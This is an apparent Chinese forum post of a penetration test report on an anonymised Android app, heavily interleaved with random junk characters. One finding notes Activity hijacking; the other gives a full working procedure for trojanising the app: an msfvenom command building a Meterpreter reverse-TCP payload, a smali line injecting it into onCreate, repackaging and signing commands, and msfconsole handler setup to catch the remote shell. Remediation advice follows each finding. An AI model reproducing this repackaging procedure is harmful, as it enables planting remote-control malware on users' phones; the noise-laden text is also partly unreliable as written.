0 i8 N4 s7 ^, N( ^, T: Q9 Z6 o % i, C3 N8 E L! x w 1-2 测试结果 - t" m7 s4 l% C & s, G6 V* [. U& g" C5 P: K; P

G4 T( c# ?) K5 R) l" _2 ~ , q: m0 M% u% Z; d0 A8 G

2 {6 }) |4 I' ~. T& v& O5 o 6 L& Y/ V6 s, M: H4 v, W) {   7 _9 o2 @1 [* b/ @& b + w% I' e/ c3 ]# Z7 t

/ [6 k6 E% e- ]7 N5 ` g : C; H; ? r2 n7 b

?( q2 N6 W$ [/ g- w- h* f8 I+ G& D2 j, B2 q% t 2 检测结果                    6 D9 j* f& D k: c6 a& ^ 0 |, W5 S0 T5 w- Y% ]8 o0 W

, Z8 e2 d( f Q" `6 f 4 R( y2 I% F' m) _7 n2 p2 F; T$ p& Y9 J

$ |) a r. f) x) ^1 o' x( K; { S8 F* l6 x3 v# Q1 c+ V9 k0 t 2.1 某某某 + ?5 N5 j' i! A2 R- Z Y6 g0 V3 f

# O: u& t+ ]" U$ o. n9 q& J - @, Q- o/ Z8 x+ v

; [- b& _6 D: t$ K8 T 7 Y M0 q! H4 Q( i 2.1.1检测目标 6 |% m* w+ a" C- n / w* t! S& j" H' l `

: b/ k9 p; Z% B 2 ^6 |. N. g2 ?$ L; }* o

! @: r4 W5 U# _. F ' w4 y8 ^0 m! H4 L0 U5 g 目标地址: 某某某某某某APP , O* ~5 N+ Z3 V% q' M# [ ~$ C9 } * ?2 ]3 N7 t: \9 Z; @

) J9 o7 M- t6 A; d0 ` 4 i% r0 o# ?2 o! ?7 Y

s a, n0 `" q# O & \7 D& U6 p4 A8 A 2.1.2检测结果 , `6 A( A8 n6 H8 j8 ]% r- X% t3 L7 J* e8 s, ?" ~

1 J5 N( k( j, I M( ^1 F7 n1 r

8 E% i1 @; Q- z/ J K: k) ]7 w2 e " l, [ l# y0 z; `4 P2 U 2.1.2.1 ; U9 v) ~ u% c6 o! M3 q% G & ]. v( A( d! f+ W5 M

* g! f0 a \0 N( g# Q* \7 f+ @' K/ `4 `1 W: ?3 ^6 C# u

% U! D: y* W- {2 A) Z . N: [" c9 } @ 漏洞链接地址:某某某某某某APP 0 }+ Q: f/ D9 O0 T" n - K, X9 {* G4 d6 {

5 o& |4 _6 s% x4 c& q. W ' A i/ v5 q7 Y6 a

& D s( r: P | F2 e/ k ) V+ I# Z; n: H% ~. @2 N$ e7 Q5 u; }. ]   + N. |1 V( w/ [7 J3 i) }) U. N$ x9 d2 U0 _3 B

$ A7 k% {$ o# Z: S0 N$ \. q# e 1 G/ w) l6 o3 \

! }' ?& e5 l* C7 l- Y * F; Y) w- h6 u8 _# O( D 漏洞分析及取证: 2 o! s5 b7 |+ T7 ?, ~ * Q2 @3 B( r. B" Y8 W d4 s

/ f5 q* v/ o9 m( A. c # M: L S4 J8 G7 V

$ T2 D# V! r( O8 O X+ g : Y+ Z4 f5 n+ s) H( ^& H' }                  通过androidkiiler反编译,发现app未进行安全加固, Activity com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: ! p* g+ L, Q# `4 p, j; [6 ]4 q5 |2 p# e, @$ j4 V

9 Z1 E# _5 b$ K. E ; a" u6 E3 x4 K0 G; c) }+ ^

5 [! A* u8 K. ^$ O+ ^4 t, C : V2 L; a# L3 @" A      / w- f3 A6 M9 F& h , n7 k- _: m' h/ f

4 h, p B% u: }( D. ]( Q2 c5 G2 i

3 ~9 z: N+ x; `1 [0 g4 { - m4 `6 l8 @4 g& Q/ \                       : y8 m: Z& K2 J% A! H & i: [2 D. U: B- ]3 n) r

) i# S0 s0 z9 s) p- e. c* L 7 `" C! G3 {4 H- ]

0 E; W, K1 V1 |( `: K) }" C% p& d, p" ~ 4 ]9 n* _! j5 e4 S8 i4 _8 j( S9 e4 V

. Y. D/ l1 O% P5 @4 T Q# y ; N a r+ z: @0 j; d2 _

; E/ x% {6 A7 ]9 M 2 y& H4 r0 J4 j( `& H* C' o" C/ ? + M5 _: m, V# n% t3 N$ _ 1 w# C9 c; e5 t' e. \ l; r' I

. T8 \8 v% T3 o! H( O$ h $ |8 e5 y9 E4 ~/ z3 S/ o! R

6 J) W. r+ J) S4 u* f& `1 F; o! T 2 ^: S/ Z' n5 p1 v# h " |, _4 [1 r$ M" e* m% b 1 r1 F8 ^% q- v( Q( X- W

1 Q, |& T- w; ~9 M) V7 _( r 9 ]5 Y2 C2 R9 \2 F6 ^# M" T

6 [1 V+ w, h$ k4 H c; O9 s ' j7 E( k8 D F" J 漏洞危害:高 + ^0 u) V! D' w( J4 o1 U7 | 7 Q }+ D5 L' ?" Z7 b: ]6 K

. Q8 X; ?( D$ t* @' n6 T6 c; ?- ^8 T1 m8 |4 d3 Y
$ R. Z. t) m; e# T* N5 p1 |5 e4 A4 r ; h. f& O( n* F& F5 U' `' f" Z( z5 ]5 y5 Z( ?5 Z# \" K9 x3 A' ?- O% C( z! L7 A7 w5 f- }. {4 B/ O* E' ]' L( t' y- c: R$ R6 r% u3 N! I# O( P( ?! z$ D5 |7 y3 B k, ?# f! b. C7 ~2 @( d# g+ m. `/ i4 G9 C& L' I o0 }6 o- @, e+ X3 t4 U; X8 u# F) e' g$ a! N! \# \3 N! i0 q4 Z. f, Q9 `& |% j; m1 n1 M" ^8 x+ c3 @9 q2 k6 {$ x- r/ k9 }3 J( j. @! A4 K8 G4 v! O, h& ]1 S" ]9 m* q- F5 R# \- f \7 q8 S( G% j, Z- h- C' P3 O+ e3 k4 U8 D% u! J5 K4 P3 c' Z% g; x: }0 X$ j" N* ?' {& G. R2 E1 M: q' O, M* X9 L) x, `% B/ N) K, |; z' d3 V( T8 q* d5 [3 z( l3 s. k- N; g4 I% K. N. z7 @* l, Z6 y& d# H4 \ J/ ]/ y) }% C! L
3 @2 L* `8 j5 l# Z 6 v4 J' I1 D E! U; ^/ T4 ~

2 s' b) L% L' c; x: U- e7 ~5 g 1 w$ T" K+ U/ f; a 严重程度 + j: _7 J X5 p5 x4 C ( ]* w5 s# J( x b& w2 Q& `: }4 L

2 V: S( g' B0 ^7 O9 k$ U6 @/ _- @) T: l7 x$ k. o, q
9 z& T, r4 i! t7 v- j 1 P3 T! d% a9 o# E

" b7 V h) @( B0 i2 X # j; n: _9 J' k/ r/ A$ u: ]: o % K7 ^% _( A) a / X5 q% Q9 [; ]: @( ~7 h* @, v8 i

% n# [+ s8 r2 O5 _( E! s : k) C9 s/ u: f5 u' Y- `& L
5 Z$ p+ V9 @4 J! [1 ]/ g+ E ) P: E: J6 P4 g. r4 ^6 c

; ^' A. H4 j. {! m4 b4 y 5 w- a) P' e+ @2 J . s* y4 b) _6 R4 }2 T 8 |7 e( {9 L0 i( a2 n( `" o. x7 t

0 b1 o5 t1 }( W! O * n! p( w1 V6 p, \6 O) Z
& V5 y; w3 q9 s6 h! Z3 i 5 p5 S3 q& ^& u$ ^

6 e/ W* P2 M7 O" g 6 T# p* V- V8 J' `0 {) G 7 W6 M2 i; k9 s; d; A U * G* _8 ~% J* z* E1 N7 |

5 i- S) _0 }( l6 H4 m; s( r6 H1 y9 V: o8 b6 F
1 F) z& A# W8 a0 S; `/ k 9 V, b7 P; A& ]1 I, s: N+ \

9 G1 a- C! P' \1 Z& f a * X0 m# b& r5 ]   & v* o o' `: M4 ]/ U. f6 Y 3 y3 T4 O: l- U) X6 ?

% `8 l1 {9 b& O6 H& {3 _, @+ w1 x5 h* W- t9 k* z- F! g
+ Q1 C8 G* _+ E/ M2 Y% q) G; w: U! x3 `$ S6 p$ T' e

, p0 t: C& q' e* G2 L. N: X2 C) O9 ]7 ^9 }) e0 r % t+ m7 U2 n1 _% i; ?1 L5 s) O p- ?) h8 ^

/ R! V: [0 \, W7 J+ ~& I- t; |5 y; Q9 a3 y) C
( ^" e! b# ~7 z% u( V% t9 f) t3 S6 c$ B% t' K* v( O1 X

! X* g+ i k4 A4 W% P K2 R; p r. N7 _ ]0 h( p   - _2 _4 e5 Y- Q ' i( Z2 J3 `' C, h( n C6 V

- d7 z# n) x+ r8 Y- H( @; ~ ' L* Y' p4 ?! U+ L* @7 B
1 T6 T2 C0 N+ m8 K6 o! r- y" V: \7 C& u
7 s2 W. b% ?% z" h& M, ` . o% ]( ?5 S/ Q2 o$ c' g

1 V; i9 X3 p4 m0 o* q. l; P / Z4 n% `1 u3 S0 t& F& p   3 f; C/ D$ d5 | + b8 P2 M/ m$ m* n/ c2 P f

& l3 G$ J% I" O p; w* E7 j' v 7 [" K/ a9 G2 Y- ]2 \: T% d

q3 `7 f, {6 ^) f8 _6 ? 2 P/ h# R3 m+ s9 o& w7 l0 z 修复方法:在 APP Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 " o: A# S8 l' q9 Z/ E) j $ o) ^1 r, Z7 ?& t2 {) {" @& l

$ S" N% z- g. \& d& } h3 D; M" j% d

9 f" S- u, ?" N; e7 T . v: z N1 S0 V% G0 E& a           ) _- P0 l* F* g- V' h3 H- k; x: j+ @: }/ M , {, [. f: w- N/ A7 y

3 m- B. m) a8 z: j1 ~ 6 }$ H" P9 Y: h7 |3 D

, |! U5 A) s: w" m8 s8 G; M: d 9 Z+ t n( G. t, ~ A4 y/ }7 x   ( g- A e, {- |7 D9 ?$ \ ; x5 h, y$ V! l

$ B! g* J9 N% A! o ' q( Z: D4 ^; P

8 a- x5 c! S* h9 { v# c' G& \4 s/ E. A 2.1.2.2 & t9 E0 f2 W; N0 S3 j5 H/ w 7 J. C) w# [! T+ f# |- Y

" N8 o/ Q$ u/ I; J; E, ^ 5 E1 x2 K% F7 N

2 W4 M% \# p/ B3 G9 m 2 n( l7 N4 l$ U1 B( {; _" [ 漏洞链接地址:某某某某某某APP & l: h! e! H3 f0 n 4 A+ v. Q+ D0 h" f% [

; u! d& N- ]7 _, {/ E7 {7 M $ G: B# z9 r. I) B

: H8 H$ t; P6 _0 v% M) [$ ] _' h 7 }4 A* l4 G1 S) Y% U% D' { 漏洞分析及取证: # r/ {3 g( F P- M # `5 O! D' e5 T: D& K) R) C

0 L, F% i4 ]4 M( _, k3 R9 w4 H! }& w - W2 h/ x& E- J! x) ?( t/ S

, w- W/ E- L3 y9 l9 G* g8 i4 @0 V& H' F 6 a5 F: V: ~- \7 `2 S                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 0 }* e0 N8 S+ q/ B: q% N9 x ( K- m" c7 g" j3 f" n0 Q

. Q, r# o: T- c5 s4 i $ V$ I* D& G3 _7 p( {. _

9 k1 ^! L4 c$ N1 t0 }- r. r. ] 4 f4 V, k5 B6 a1 d- Y+ g Metasploit 生成木马 apk 4 O! b. s7 h6 p% p - G% Y+ n" c9 \' T: i2 N# T6 c8 g; q

0 }! d* V# d7 v9 s6 @ 1 C$ P ]" e# `+ g

+ R9 R7 X' W! p; h 7 x+ E# t) D4 g" d. ? msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk / c1 p3 {, w3 w- T) N, w0 ~, ]( O$ {, l

; X" x% K8 s: i/ ^) }% d9 M2 U' s1 J" h I5 X% S

6 d8 f1 a# s' ^% R Y7 x* @! { 6 L" {& t) s3 t$ h8 ] O8 p4 x) e 反编译目标apk和木马apk 3 _$ l- Z4 F. O" ` " p5 K7 h, @9 a6 n+ I

, P: w' J; V2 I2 { 4 [" m1 ^( |4 U) [

3 r% c* i1 @/ P, j3 A _$ o, p" P& C' X apktool d target.apk
- L0 Q8 N7 A' E: S2 S5 D2 ~. q; W7 c$ K+ A apktool d cockhorse.apk
5 z7 T( c7 V o1 D$ k( p0 Q0 |$ p C" t( A9 |5 ?9 O5 ^& n

! Q& ?) I2 }2 _: {. F7 k- l3 ^# M 6 T8 }: x/ `; u, I

, ^7 G5 P" v7 p- a- w % u9 ]% \) j ?6 V 木马 apk 注入目标 apk * A% j# N! `8 L0 a7 g " {0 d: a& v& H2 x. ]% {

" p8 A. K6 f6 q5 U. ^ - A6 e+ H' d" ]7 s0 R3 p

; x7 X5 F- U; w6 W. ?5 O. v& z6 N# r/ d% X% a 在目标 apk 反编译生成的文件中找到启动 Activity smali 文件,并在 onCreate()方法中添加如下代码:
2 m. g- Y4 Z8 Y6 C! j 6 f; I# e: i# f, } invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
' [6 K }2 N1 f' _, V" G- ~& b 1 W8 q) {: b; g+ X3 X# ?

6 i% [* j9 O5 Q+ Q 5 ~6 W5 b# [- b" l

/ e1 | i- f( u3 B% v9 W- q ' A7 h h" n; G, \8 O! D3 n2 U 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 8 `+ V4 a/ U5 S : y: N9 X6 W3 B. {* Q

2 u/ O/ f. J8 C/ C( N 9 ~6 X3 q: w: u0 X1 q

- p- X) q% K- d - V$ _) L6 e; L 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ * C/ g0 G9 M5 C. L- z& @* k 7 `8 z4 s: T7 m: e4 t2 y# b

4 L- ]4 U1 A, H9 P ) x1 s( x' C/ U" {6 k0 ^7 z# v

+ U$ b0 w* a. N 7 r9 u7 V1 I) w' W. F, s, |8 k# i/ ~ 回编译生成最终 apk 3 M5 |0 z& F3 Q4 Y* b" e ! {* S3 H( y. L8 M S

$ u. U2 T' A$ k" @1 `% v2 d3 N $ o& ^' V3 U6 Y6 Z6 f- {

# A3 N! W7 y# S9 e) ~+ y, Z$ N) C8 \4 e& L 重新打包 # \6 e) ^* k S4 y' k # p% s7 p) l4 `8 N, Q9 ~

3 e4 B3 D0 A+ `" m. Z7 K: A$ z ( i4 n5 }: v' r- ^

5 f8 b4 ~- Y9 D1 \9 b - w/ V8 N+ ^4 Q6 @$ F apktool b -o repackage.apk target_app_floder " c; R3 g% v+ \8 L8 |! t: g3 n n! C6 c' s" t

; B& v. o; q' q r s, ] 1 z# ?0 G q4 z- o f5 e

& v' T* _, p' L' o3 c/ S( q: A! y$ A5 f' P 创建签名文件,有的话可忽略此步骤 - ^% H0 u% t5 r8 M/ ^' r 5 L) V% a3 M3 p- d* ^( ^

, g2 P& G9 z1 U) c5 q# v+ T " X3 I" A3 J' m; Y5 R% i

0 \9 h- B [' [) }4 @1 L$ e# @0 n ]/ { keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                $ b" k C% P$ K8 o5 K; \' m, a9 ^6 W! t v7 i1 P/ `& v

5 p* n+ X4 ]! h7 I; Y$ v ! p$ U, ?4 [4 P) k O. F

1 F' M7 ?2 P& d+ r! z' h$ [* u $ k' d6 B( s2 h 签名,以下任选其一 + B0 H% Q, W c/ _8 e( c; g 2 V- Z& B! y8 M

! V7 _+ w. {4 d! `) O' A ' z4 I: A* a! ]' `, p' V# ~: t

( [7 A5 F; _' K0 d+ z" g+ x4 C ; {9 v- ]3 n! e jarsigner 方式 % c5 N9 |+ n+ K+ U5 S* p' L . o7 h2 {. r# h

8 t+ c3 e' G- P3 n& e0 |/ w+ o+ L7 d

3 i! D: s, |, x- K u; t: n7 ^ c0 m: ~ jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname + x' o2 @( G8 p' U. t & x7 z$ B$ n0 z( R& y

+ e Q! ?5 s7 P$ q+ d9 j& k+ l7 ^' u7 r R/ k+ T7 m ?' ?& X

' U& U1 ~( a% H/ n- w ( ?* N0 ?% K' @6 |; q apksigner 方式 ; ^8 E; b$ m y 4 {% z+ D b) o, E4 T

+ Z, r1 g5 k' p5 m! w/ ?8 z& t7 H/ @" l. _* d

3 ]" m: b: L8 K0 R0 t3 B7 G- f; M4 g7 l9 j apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 1 g) W5 T7 U8 k9 J; A( c6 ]4 b . L7 T1 U2 d+ Z9 D% J$ V

) `+ `5 o$ y* ]5 u% ~! R+ n3 \' m0 j4 q1 x( x0 b: z

' e3 [1 p+ R1 j" E8 c8 h6 d & K7 [. X `" k8 g L. w6 [ 如需要禁用 v2签名 添加选项--v2-signing-enabled false & F8 j! k- |3 k" L. d1 X- C & T d# i3 X) [8 X) p2 t

* W0 R. K0 T- ]2 O z3 W% \5 L8 S ) G# {8 H% h$ o* Y2 @

* P) ~& m/ h* z# _0 ? k' } B( c8 b/ D! z y4 l; ? 验证,以下任选其一 & h+ z; C% C1 c/ {2 Q6 F3 k4 { y : V8 g+ R" e2 c. K

, O1 U9 U: F x8 \5 K : t2 M$ r: E' ^$ b+ r9 V* J

. S6 S7 [, h# F 0 X! m# A9 m& K7 e+ _0 s* @ jarsigner方式 $ b; a3 ]0 z& r" p) T , @2 h+ J; d; G r$ O

5 x* W+ q$ s* R* p5 d 1 W+ `& j) ?1 w% q) S

- t4 c: q/ n. K2 o8 Z3 X. K( q4 z) t ' S6 O( z% F' G3 L3 u0 \ jarsigner -verify repackaged.apk # |+ y6 j; `' I1 q# Z 2 x4 G# }3 ~, }; t' o+ h! r4 o. C

( Y, p% p, r; j, S6 W + v# g6 h1 z6 j: z) r- f

}9 _, Q C# {, Y , y$ ]3 C7 c! t9 m# v+ H5 y apksigner 方式 ( U j0 B; U- J7 D% ^4 R( h% X! g" h1 G! D

+ W c0 |. Q- z, E& L% ~ " P1 b& ?! a+ X. W3 x

% r$ \; v) N: U3 I2 J; F* }* W7 u* a2 W" T+ @% \ apksigner verify -v --print-certs repackaged.apk % F' X! |- y1 ^( T 7 e* X+ P, w7 N! N5 p+ |

% `% p2 H) e4 S # F) z0 [6 ?2 H

8 y; n2 D9 T5 a. J( c( ] $ Q0 ^& ` L* i$ p* L N keytool方式 / m* |+ t! j, s$ x- N! Z* A" j0 J9 y

}$ G: u7 s. ]+ h" b2 a/ j! ? ' Z) P" Y1 I* G' T" W' M; f) ?& |8 _

6 C: c# c0 J! P9 Y& J$ \1 I" x3 { 7 D1 a y. ]0 L* V' _( E keytool -printcert -jarfile repackaged.apk " e; g9 Z, V3 f( \. p6 F- l& S; ]% i

. H) v) z, c/ U" c! H 5 L1 a1 r' t! W3 Z0 ^

* x3 k# S6 ?, C( J : x6 S# S. r, G" R* e6 }: b 对齐 : j& R5 d u7 e2 `$ ~8 w9 g% E 8 E- p7 Y: ~( V

/ ?8 a- {- D) C- i6 \ , F% p0 l8 s5 X: ]. N

; q7 k9 E) H' f6 ]( V! o1 G8 d & g. b# a7 q! h, ?& s- d 字节对齐优化 & J; [2 _) Z2 T6 [, p. u" \ ! Y! n* e( l) Y8 w; }1 T9 }

, E0 p" X- G7 B8 A1 b( t 0 T; b/ W2 m8 `

8 z# V/ E9 e0 r: _ : `) \( Y8 f7 V* Q. L zipalign -v 4 repackaged.apk final.apk ; o6 \( o5 n" r( r' b3 ` ' q/ F& S3 v2 M; |

* K% ^% [; l# P4 B" | % s0 l7 `3 ~$ F! @8 W" C0 Q

& p5 D: b1 I" c v' n7 } 8 o% a0 z2 L. \; _, i, y 检查是否对齐 F( k/ p4 J, W3 {0 S1 t& C 5 O4 _2 i) d, ?4 a K: R

5 v/ L9 d3 z1 s4 r * d0 G! H+ C$ a& `3 P3 D+ R; }

! Q" L2 }; y6 f1 ^9 u" q( B* g$ x * C X7 Y* I; S8 q* ?. K+ x zipalign -c -v 4 final.apk ) U, a& o# o& V9 k9 q7 h' k 1 D( r! Q! M0 K

9 ^9 y; i3 G2 R6 W2 M2 ]2 ^# o; [/ g+ N) ? \5 ?

+ [+ E6 m3 A" E+ Z, [2 Q% x: } ( l& X1 @1 M2 G( z2 n4 ~- K/ C 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 # Y, I( [0 z# K 7 M8 m, @7 Q2 P- B3 y5 ]

4 U r$ j5 z) O. t% z4 I 3 m: x3 e5 x. K. S3 u; x& z7 v8 V

' ?4 ^$ `5 w6 C. k/ G5 V. v' w' l( J1 \1 f# P) [/ }6 t0 _6 c 启动Metasploit控制台,配置参数等待上线 3 E$ y8 J) _7 b" E 8 v& l! o- o, N, }3 O' F w

* o8 _" `0 Q" p" Z! l / k# B1 z i) F

2 N" [) b. ]3 `- |& L& e8 ^6 C& t) J: u+ u 在终端依次输入如下命令 $ [; h1 {( x% e6 U, {% ? / ~% J- U; Y6 |9 Z$ ]5 [% j. _, }

7 I+ t( ~( v' a& K , h! [" ]$ b7 s3 u& ~( i

' l3 R, p; u8 g, r7 q# l 6 p" y2 Y {1 y0 |' z msfconsole * j: X1 d; a$ j* g3 H4 j: t 2 t. ^; z# }' m0 @

8 R! |- }& F1 x: F# ^ & z* a# h, I5 `# u! |; h

. t, l4 P. k% e2 @$ k9 {1 w& o" B % S0 d u8 }8 K" I% K+ _; a use exploit/multi/handler 0 B5 r, b" g8 U. V6 l2 K U! r9 c. c- A v; Q4 G% f$ q- W

3 L* _) a# }- x3 i4 W# x5 M$ [ 2 T: @" I. C- G

8 |1 ^2 f# d# Q4 |$ G- o; [" j5 @$ x* U7 J* S9 A7 J/ r/ c0 g set PAYLOAD android/meterpreter/reverse_tcp / a; P9 F! Y/ @$ R4 l( O2 z 8 n( h0 S6 u8 `, x6 o6 _, G

r4 k6 h2 I- ?. Y0 K) l \0 v" N7 g/ E9 w3 W+ y% g: |' O3 m

3 B( u. `2 q5 U+ d: d ! M. @3 o ^7 Y5 R5 T set LHOST 192.xxx.xx.xx : @' |1 z2 H& M7 h/ @! l; g0 G ; D: I+ n; v1 C. Y O

- i6 P& K/ J5 \" R : z( i2 z; H7 |# H2 [ t) l7 ?

# p8 M% A$ m" o ( l( v' o9 \- k2 t set LPORT 4444 4 {& [( G8 M0 O i- K W" O2 P 6 s: }0 O4 a. n( b7 P5 V

* O! o9 h9 n# w* G' ]- l0 b; C; f. i: R- t

# z" e/ v0 p& g w- ~; ~2 j ' a. I! o7 D! ?* I- l exploit 5 ]6 O& l% E- r2 s P, M2 u5 T; S8 u* V# e( r+ \* s

8 W8 ` J5 O+ y! u' f. k+ P% ~ 0 H w( I' _" a1 P/ Q- Y" m

% P6 _& C9 P! C1 q 9 @+ E1 d3 Q) N& Q6 c" `# e5 ` 之前我们把入口放在 MainActivity onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               ) |3 a# E. E+ R0 t7 z 9 P* G' x: ~0 x

! b" z/ p; e* t" [5 x3 x6 Z- a& s $ W- Q% `# @& C9 b

5 `9 a6 e# O% E! j$ P : v" M3 V4 z$ @* s& v6 s, @ 漏洞危害:中 6 g/ q! `9 r# z' o- J% c$ c J% q# c. w. m1 ]& G& S+ Q

( H2 Q$ T' |+ a. q 4 U; V* q# ]1 ^
! a7 g E: W$ x9 m + s0 i& }0 d# E* f- V0 t# t ' k! K7 b3 w; i2 \( w6 o& B. o: @ 6 U. l. y2 \& H) B4 f6 K5 _/ M3 [7 t 3 g( b8 b6 `5 v* r8 S( i5 ~. z/ T0 E3 w5 ?& z5 q- O+ H3 u0 u; Q, M. n3 K4 }# k. ]0 O6 Y* ~9 Q7 r! K/ S' D( a3 }. P: O; Q9 G l: y, n' E2 S/ B! y) U' [9 T+ i* s: {5 F v- r8 a6 g5 W; m# l6 I# x6 Z( `3 y" q+ f) O: p @/ M: D! q# `, K' U& t/ b2 \; e" k0 b0 W, a% y6 L: @6 B- P7 N; o) A# _4 h8 [ u8 _ _! J# m4 \8 D8 ^4 l ?1 Q6 G$ |; u5 M, X; o. {! Y1 p+ @6 |: I$ a/ i E+ F6 g& x7 p! u" [5 c# ~: S, g6 u; W5 R4 d% C* h) Z" x1 ?; G8 A5 Y: d. z, C$ n, J ^" [4 ~. X6 o" Q* N5 U6 U! m8 v1 ?" t4 T3 O$ a# z- e N4 |+ O K- X6 u O" B" F3 P& i+ m, z3 J, g: g% A2 V) l8 o. P
. c l, t: s m$ s' V& t6 B7 r& X/ U/ E 7 p1 T8 u3 l+ `8 v, \$ ^( O, j

! m" X6 ^) S( @4 q8 J* U # Y: M( k- j7 d& z5 B 严重程度 , C! v5 y: [0 b! A+ v9 A ! f/ m* Z: x; {6 A1 P6 |

3 M2 `$ e+ m/ E# n7 e& n& J9 f2 [0 W3 ~% Y2 }
# j& a& i+ |) z; _; ~ ) k- \, g9 z! L# D8 l8 Y3 s

! T. \2 H% D4 Z3 @' O0 \0 d ! w. q; c9 W: z0 f* b, e. y2 G . F5 Y0 x1 I7 }/ n3 I a0 X8 p1 }: W; R, i: O6 N4 O

B5 ?6 e: i! J, D% b8 F 9 c- H. |2 A! X& B( n E, d5 v
4 |0 c" m3 V1 O- q5 ^2 n 4 j: _- n- ~ v4 w6 E% v3 @2 Y9 T

: w9 Q' z) P |' E8 p ) {' W6 z3 T* Q/ [. g 8 s" u* U( M t ) o/ h0 \( ^; D- d+ m" M) l2 ~

) ^1 U$ x5 w% J/ q G + ~# ?3 \( G$ k* J/ g' p
1 l7 V* Z/ ~. n$ Q1 \ , b1 k/ ^8 Y! ?9 ^* f- n/ ?9 x

0 e; I( e6 Z: m" J! a 7 ~# c+ X9 R- A! |4 v. }/ H 2 E" T% b& N8 d' i / Z8 ?2 a% G) p9 x+ v

- d' Q8 Z7 p+ B$ k; A . w7 L1 F5 ]' n9 D. q
, \6 V$ Y) I' }$ L! N* e: V / V9 g q; D) a8 E8 \ : L9 r; [" m) O2 W + Q+ S( \5 b" I* B$ D$ I

/ Y3 {$ B' `) S' Z. o0 }% n 3 G; G, s) z0 }0 b+ V8 }   7 n k9 N, C x5 H* g) F ! P5 }, A+ e9 ~4 ?5 d

) Y3 g. n# P, i- f! ~$ _; q 9 H& {- a- v, r. W- X% l6 _
+ H) d8 V5 F: p8 S9 f& j( D3 w4 Z+ W& t' G8 c4 M

7 b& i# A2 e2 c* p7 T 1 C6 \- }- i+ k5 S* V 1 i" U- B G, q$ {" L 5 q3 I, V) ]% R$ Y$ Q' T

/ [8 U( m' }" T8 h 5 b4 F8 x) m- d1 ? g4 E Y$ _8 `
- q ?4 D9 X3 Y( d, B1 W " h$ B) G; E! D+ w, v 5 y& k/ m6 e0 x7 \/ @ . g( D" j+ o0 f# t% G" g. y, O+ O

7 o s( c: q- @0 ` z: L * {3 o* h1 u5 T! A1 a, M7 f) g   - [ w& N }0 y! B. ^. i ! Y9 X. b: W1 [+ o6 ]# J

' o& L. h) l9 f" s- p 3 q0 L* R: K$ q" r
+ _4 A" _0 q6 M$ \& @- [# V 4 I Q( Q8 ], V( D
6 E# m4 t$ D( Q/ s+ G: a8 f7 f $ W2 m' U; l7 f* r, Y) W

$ t+ _) y, m# c . ~9 g) D* y1 e h, }   4 C8 q3 |# R# P ( C7 a: ]: w$ o- k, I4 K1 ^

2 ?. C# z% y1 v, a w: B) b2 G8 p4 _* l5 f

" k' e6 P8 {" g$ n8 i6 ?% g 8 B+ o" h* P W. K 修复方法: % M4 n* Q( }0 ?" Z; d$ `( r% ? M H4 q& _0 S8 H. k; l7 r: O

3 O7 O7 o( j# G 5 T8 f1 Q" w0 @1 B& x

3 R9 T: J2 F9 G$ O) Z1 i ! o) H, w8 O& V6 p1 q4 s               1. APP 启动时应做签名校验防止二次打包。
( |1 v" `* w; M 4 y" t0 u6 n/ k5 ~ 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 : |5 P6 O7 J( k" e: v8 s4 S ; n Z! H4 g- Z3 T: z4 G; p2 I7 t: s

% f8 Z7 X2 r# Z' ~2 B% g 7 i( K' k) f+ H. D6 D# n2 {6 n 2 z$ Z- W% A' G% |4 m1 b6 j' N5 B0 ]1 D. I: m% b& S9 e1 A

1 Y. R8 a* K' m. r ; Q( p7 k$ u) V6 i9 z( L2 K   1 Y0 a* _1 X% p/ [ @ 6 o8 u/ t7 g7 g- {0 g# ?

3 q8 z, g# R" I+ r/ K) e 1 l8 Q+ h, L, y1 z' R F# f F3 e F9 ?! ~ ! \! s5 J" c, g

, t% `7 Y7 ?6 n: y4 X 2 }- e# c$ ?" B
$ B* f& @- T& g ~% i, D+ s 4 ^% Q) L6 g3 T# V

- E6 Q- J0 x) c( M' j" ~4 z. }+ E: t7 b- L. f% f; b* r- S/ e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表